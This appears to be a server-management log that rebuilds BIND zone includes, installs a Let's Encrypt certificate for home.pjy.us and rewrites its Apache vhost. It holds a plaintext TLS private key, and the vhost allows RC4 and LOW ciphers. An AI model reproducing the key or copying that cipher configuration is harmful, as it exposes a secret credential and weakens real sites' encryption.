MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= da429f1b684d9c3bb05c418a195ceb7e
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= ead22db0f92a33841cc438de003f20f0
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= 90d11419a458de092b42a669de715701
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= f90b48a7c1061822ec2b4beef20285a3
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 8aba258068c8c60a7ade3952a285f57d
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2025-08-29 19:31:58: 

PUT: /tmp/pkp603880

#!/usr/bin/python3
import os, grp, subprocess, time
from pwd import getpwnam

#target cache files
HASH = '4e946d31d5dbbaea14c1f8a8cc65c592'
ZONE_NAME = 'pjy.us'
TARGET_FILES = '/var/cache/bind'
LOCAL_FILE = '/etc/bind/named.conf.local'

uid = getpwnam('bind').pw_uid
gid = grp.getgrnam('bind')[2]
try:
	os.chown(TARGET_FILES + '/' + HASH + '.conf', uid, gid)
	os.chown(TARGET_FILES + '/' + HASH + '.txt', uid, gid)
except Exception as ex:
	pass

PAYLOAD = 'include "' + HASH + '.conf"; # ' + ZONE_NAME
#text to insert into local
hash_present = False
with open(LOCAL_FILE) as fp:  
	line = fp.readline()
	while line:
		if HASH in line:
			hash_present = True
			break
		line = fp.readline()

fp.close()

if not hash_present:
	fp = open(LOCAL_FILE, 'a')
	fp.write(PAYLOAD + "\n")
	fp.close()
	# call = old python, 'run' python 3.5+
	subprocess.call(['rndc', 'reconfig'])
else:
	subprocess.call(['rndc', 'freeze', ZONE_NAME ])
	subprocess.call(['rndc', 'reload', ZONE_NAME ])
	subprocess.call(['rndc', 'thaw', ZONE_NAME ])
	time.sleep(3)


2025-08-29 19:31:58: 

chmod 755 /tmp/pkp603880; /tmp/pkp603880; rm /tmp/pkp603880

2025-08-29 19:32:02: 


rndc: 'freeze' failed: not dynamic
zone reload queued




STDERR:
rndc: 'freeze' failed: not dynamic


2025-08-29 19:32:02: 

PUT: /tmp/pkp504364

#!/bin/bash
rndc reload pjy.us 2>&1


2025-08-29 19:32:02: 

chmod 755 /tmp/pkp504364; /tmp/pkp504364; rm /tmp/pkp504364

2025-08-29 19:32:02: 


zone reload up-to-date


2025-08-29 19:32:12: Establishing a connection
2025-08-29 19:32:13: 

PUT: /tmp/pkp493073

#!/bin/bash
temp_file=$(mktemp)
TARGET=1ab41bf0e070e7b006d494c7605f9dcb

cat > $temp_file <<'endmsg'
26:77:82:f3:bd:9d:03:f8:75:63:1d:be:3c:d0:86:f4

-----BEGIN CERTIFICATE-----
MIIE8TCCA9mgAwIBAgISBZu7ba3HLy0ydo9ehBlHPShJMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTIwHhcNMjUwODI5MTgzMzQxWhcNMjUxMTI3MTgzMzQwWjAWMRQwEgYDVQQD
Ewtob21lLnBqeS51czCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBAKiS
w6Cdsbcxg4LSm2qx5oXNaYIcsLpw55Gl5Vr948dqdxUfYxv8NI9uEK5ZrymPnMr/
L8JflyR2fSVsnKKHylW3Yo3EmK6k2+QB7XAjFT9O6NvGjSsH2ySakSmmHeQGlhMg
vDgRDD7jHIzULMMmZcHwlKOmgCdfhUTT8pjcoUUO8miTtaGivjju9oD991kzCWlu
onEF0R/3WJPgp+8bzlROoGGYrV+/In9lTlgMJfCe+avQv//C5hT1h9bocpFGW/Ql
gX14HCuzTy76bMpM+T8ksMyc+qX/XyZglBnzdk1kt229U7KP4HzJD2kUDeclPIXE
fQfga3/jgfBTvbiWxYkCAwEAAaOCAhowggIWMA4GA1UdDwEB/wQEAwIFoDAdBgNV
HSUEFjAUBggrBgEFBQcDAQYIKwYBBQUHAwIwDAYDVR0TAQH/BAIwADAdBgNVHQ4E
FgQUVU0KDHcunmUHIc7rIH8hvWnOa3EwHwYDVR0jBBgwFoAUALUp8i2ObzHom0yt
eD763OkM0dIwMwYIKwYBBQUHAQEEJzAlMCMGCCsGAQUFBzAChhdodHRwOi8vcjEy
LmkubGVuY3Iub3JnLzAWBgNVHREEDzANggtob21lLnBqeS51czATBgNVHSAEDDAK
MAgGBmeBDAECATAuBgNVHR8EJzAlMCOgIaAfhh1odHRwOi8vcjEyLmMubGVuY3Iu
b3JnLzc0LmNybDCCAQMGCisGAQQB1nkCBAIEgfQEgfEA7wB1ABoE/0nQVB1Ar/ag
w7/x2MRnL07s7iNAaJhrF0Au3Il9AAABmPdQ6fsAAAQDAEYwRAIgKwL0yMpwc4y0
Uv5wSfFEZdccUv0kby2kiZ6PSFaUK64CIAcltxgmthNOS4fiNwThUrjhf347fEVF
+4ye0ySJWJ7KAHYAEvFONL1TckyEBhnDjz96E/jntWKHiJxtMAWE6+WGJjoAAAGY
91Dp2gAABAMARzBFAiEAr7xkcLy6So+vn6Mprgz+LLw7C46yv+m0maz8Rn46EpoC
IG5olnUUVDfch38cS3exchPBfwtqUTon8A5m2uJZVRmWMA0GCSqGSIb3DQEBCwUA
A4IBAQA1/wEz7vM5Czu7MobZZgNt1m+Udgc7lcMMtmi7TuQFg66s2ci5Z6wcdgaK
4+8o99uVHxC5wCpJqGS3zAwdhffP7Soj0rBE0EUb631Pu+YdDEb1oW3G+7rqK5ty
GBYs6lmixO6r4c7kKoj31PiGDTmFXd+j4lXfcWKQ1o1cTLWQ84f7IZXtjQy21QbW
h8dxx5CR0cb1DEnZyzZTLkEJOiIV/U0UUra0Wcv5za3R8NNjup4/+aiVK8MyyfZ+
rzZFMhoV0HTx7cGZN6Rcyspde1TE6GFkDh+XcrE21k0LzpP9QHePNgXrphPCBDO5
AgAiiN5NJdWXPNTB+h2lpy+FSvdE
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvAIBADANBgkqhkiG9w0BAQEFAASCBKYwggSiAgEAAoIBAQCoksOgnbG3MYOC
0ptqseaFzWmCHLC6cOeRpeVa/ePHancVH2Mb/DSPbhCuWa8pj5zK/y/CX5ckdn0l
bJyih8pVt2KNxJiupNvkAe1wIxU/Tujbxo0rB9skmpEpph3kBpYTILw4EQw+4xyM
1CzDJmXB8JSjpoAnX4VE0/KY3KFFDvJok7Whor447vaA/fdZMwlpbqJxBdEf91iT
4KfvG85UTqBhmK1fvyJ/ZU5YDCXwnvmr0L//wuYU9YfW6HKRRlv0JYF9eBwrs08u
+mzKTPk/JLDMnPql/18mYJQZ83ZNZLdtvVOyj+B8yQ9pFA3nJTyFxH0H4Gt/44Hw
U724lsWJAgMBAAECgf8VutV83tcJxlgthPiDyGru1IvFOe2OGv++xqPKFvBFxHOV
RXaBJQGhe46q6uSpdtm/USXW6HuTN7LqIBYQ3XA3nGwX2j/UQ2wU+CqjSeJzRri9
m9qWsWyOS15q//7aZf7yeEXK9Gefs6b6gF9EyK5VUa3Xap8adDW5qZicG9SuEgl/
+Gw8gqbhSeZgCzVFSvoRDIrxH4rdPmI0ZDlg5B52H/dA/OcQd/WjIygxIYkuLcv0
Rpnuz0lLq0W2glX0uDQ5HjEekrKGBh0pldRrqjkPEj12oLu6g1eXPjb3fgqasSkB
agO6FpT5/JkXNmECkYddv3N1e7TSDy2eIqwq1oUCgYEA3iPBOdBP2RhtYAY9PmO6
kaY/UBBxSj2Y9VJyUX4anaex05YQ83NSM3P0xhSYzCRNq5XgR5fSe+OjnUcJP4+8
uxwAIWCcnOlhpsu1qViVxlau44V6wOSzYgGCibHF9zJEuTWUqQokJ2l2wmiX6b2f
Ovco/i5jrECoS5xtPp9KYhMCgYEAwkTDkXyCTrRcgdCF5RCdVfGHr4n1nkEeZ4j+
Z72vwVVjLrSdyQiTiWAFhbWUfiufDv4atNkdQpaD0FOBuwjduI/UlJMLdsCaSdn3
P4UmkiQ9LfqVEDO/zcr+lGpzQEu8+M7a72HOLO/hPOLs3J5LhfFPVnUmIb0rtPRg
Xbg/TXMCgYAApN3kiwQQPw/iHWKEEcnyria01rddXbxZyblnHxR4rInJcT/vVMBC
Qe3NvTWMMfa/rpmN25TSoyBQTmpqcsI7UKN3dU4+7jZIQ4LtUMJuZsXvBu4KLR+Q
Ay0btRY71zt3xf3+V3cvXhDoE2GNXe1eQGUwB3Zmg3F5dqSib9fJXQKBgQCD5cwi
azbN2Qc13C4MaEtqnqJRPInW+L977DdOmCtMSH0eqOK4K2qASwF01uQLBfLoav4W
65JCM48rUocyRcLEHGNovK174yjeG28TYYPelVw0a33pkjkXsEtI2T2G2eVjyI49
GVqyh+uVOz02TQNZ3YzQVpmdLqMOKR2EhCP2oQKBgQDILBFzXigCOuOIAWuvXEUm
GPMHg9bmr6T5tnYerm4j3+fuCCPADE7jgsJTO9j7Ejf759wKkl4UEUGF1QytCntv
2Aj3xrBjjVIxr6OlFn8a7N0RN4fufcRWmsFB8X4Cynq0dfKyXmu1diUYFtdIQ49m
eQOzaN8CS0kP9GXOOlkFFw==
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBjCCAu6gAwIBAgIRAMISMktwqbSRcdxA9+KFJjwwDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjQwMzEzMDAwMDAw
WhcNMjcwMzEyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNTGV0J3Mg
RW5jcnlwdDEMMAoGA1UEAxMDUjEyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEA2pgodK2+lP474B7i5Ut1qywSf+2nAzJ+Npfs6DGPpRONC5kuHs0BUT1M
5ShuCVUxqqUiXXL0LQfCTUA83wEjuXg39RplMjTmhnGdBO+ECFu9AhqZ66YBAJpz
kG2Pogeg0JfT2kVhgTU9FPnEwF9q3AuWGrCf4yrqvSrWmMebcas7dA8827JgvlpL
Thjp2ypzXIlhZZ7+7Tymy05v5J75AEaz/xlNKmOzjmbGGIVwx1Blbzt05UiDDwhY
XS0jnV6j/ujbAKHS9OMZTfLuevYnnuXNnC2i8n+cF63vEzc50bTILEHWhsDp7CH4
WRt/uTp8n1wBnWIEwii9Cq08yhDsGwIDAQABo4H4MIH1MA4GA1UdDwEB/wQEAwIB
hjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwEgYDVR0TAQH/BAgwBgEB
/wIBADAdBgNVHQ4EFgQUALUp8i2ObzHom0yteD763OkM0dIwHwYDVR0jBBgwFoAU
ebRZ5nu25eQBc4AIiMgaWPbpm24wMgYIKwYBBQUHAQEEJjAkMCIGCCsGAQUFBzAC
hhZodHRwOi8veDEuaS5sZW5jci5vcmcvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMCcG
A1UdHwQgMB4wHKAaoBiGFmh0dHA6Ly94MS5jLmxlbmNyLm9yZy8wDQYJKoZIhvcN
AQELBQADggIBAI910AnPanZIZTKS3rVEyIV29BWEjAK/duuz8eL5boSoVpHhkkv3
4eoAeEiPdZLj5EZ7G2ArIK+gzhTlRQ1q4FKGpPPaFBSpqV/xbUb5UlAXQOnkHn3m
FVj+qYv87/WeY+Bm4sN3Ox8BhyaU7UAQ3LeZ7N1X01xxQe4wIAAE3JVLUCiHmZL+
qoCUtgYIFPgcg350QMUIWgxPXNGEncT921ne7nluI02V8pLUmClqXOsCwULw+PVO
ZCB7qOMxxMBoCUeL2Ll4oMpOSr5pJCpLN3tRA2s6P1KLs9TSrVhOk+7LX28NMUlI
usQ/nxLJID0RhAeFtPjyOCOscQBA53+NRjSCak7P4A5jX7ppmkcJECL+S0i3kXVU
y5Me5BbrU8973jZNv/ax6+ZK6TM8jWmimL6of6OrX7ZU6E2WqazzsFrLG3o2kySb
zlhSgJ81Cl4tv3SbYiYXnJExKQvzf83DYotox3f0fwv7xln1A2ZLplCb0O+l/AK0
YE0DS2FPxSAHi0iwMfW2nNHJrXcY3LLHD77gRgje4Eveubi2xxa+Nmk/hmhLdIET
iVDFanoCrMVIpQ59XWHkzdFmoHXHBV7oibVjGSO7ULSQ7MJ1Nz51phuDJSgAIU7A
0zrLnOrAj/dfrlEWRhCvAgbuwLZX1A2sjNjXoPOHbsPiy+lO1KF8/XY7
-----END CERTIFICATE-----


endmsg

chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
	cp $temp_file /etc/pki/tls/certs/$TARGET
	echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
	cp $temp_file /etc/ssl/certs/$TARGET
	echo dir=/etc/ssl/certs
else
	echo dir=
fi

rm $temp_file


2025-08-29 19:32:14: 

chmod 755 /tmp/pkp493073; /tmp/pkp493073; rm /tmp/pkp493073

2025-08-29 19:32:14: 


dir=/etc/ssl/certs


2025-08-29 19:32:14: 

PUT: /tmp/pkp821866

#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	if [ -f "$1" ]; then
		FILESIZE=$(stat -c%s "$1")
		echo $1	$FILESIZE >> $temp_file
		cat $1 >> $temp_file
	else
		echo $1	0 >> $temp_file
	fi
	echo >> $temp_file
}

show_file "/etc/apache2/sites-available/pjy_home_us.conf"

gzip -cn9 $temp_file
rm $temp_file

2025-08-29 19:32:14: 

chmod 755 /tmp/pkp821866; /tmp/pkp821866; rm /tmp/pkp821866

2025-08-29 19:32:14: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-available/pjy_home_us.conf 1248

<VirtualHost *:80>
    ServerName	home.pjy.us
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/pjy_home/public
    <Directory /var/www/pjy_home/public>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Require	all granted
    </Directory>
    
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
    
    CustomLog	/var/log/apache2/pjy/home_access.log combined
    ErrorLog	/var/log/apache2/pjy/home_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
</VirtualHost>

<VirtualHost *:443>
    ServerName	home.pjy.us
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/1ab41bf0e070e7b006d494c7605f9dcb
    DocumentRoot	/var/www/pjy_home/public
    <Directory /var/www/pjy_home/public>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Require	all granted
    </Directory>
    
    CustomLog	/var/log/apache2/pjy/home_secure_access.log combined
    ErrorLog	/var/log/apache2/pjy/home_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>






2025-08-29 19:32:14: 

PUT: /tmp/pkp906659

#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=pjy_home_us.conf
TARGET=/etc/apache2/sites-available/pjy_home_us.conf
DOCROOT=-
PUBLIC=

cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'

<VirtualHost *:80>
    ServerName	home.pjy.us
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/pjy_home/public
    <Directory /var/www/pjy_home/public>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Require	all granted
    </Directory>
    
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
    
    CustomLog	/var/log/apache2/pjy/home_access.log combined
    ErrorLog	/var/log/apache2/pjy/home_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
</VirtualHost>

<VirtualHost *:443>
    ServerName	home.pjy.us
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/1ab41bf0e070e7b006d494c7605f9dcb
    DocumentRoot	/var/www/pjy_home/public
    <Directory /var/www/pjy_home/public>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Require	all granted
    </Directory>
    
    CustomLog	/var/log/apache2/pjy/home_secure_access.log combined
    ErrorLog	/var/log/apache2/pjy/home_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>



----boundary-6506b6c63ab0478b95fb419cca0e56fb----

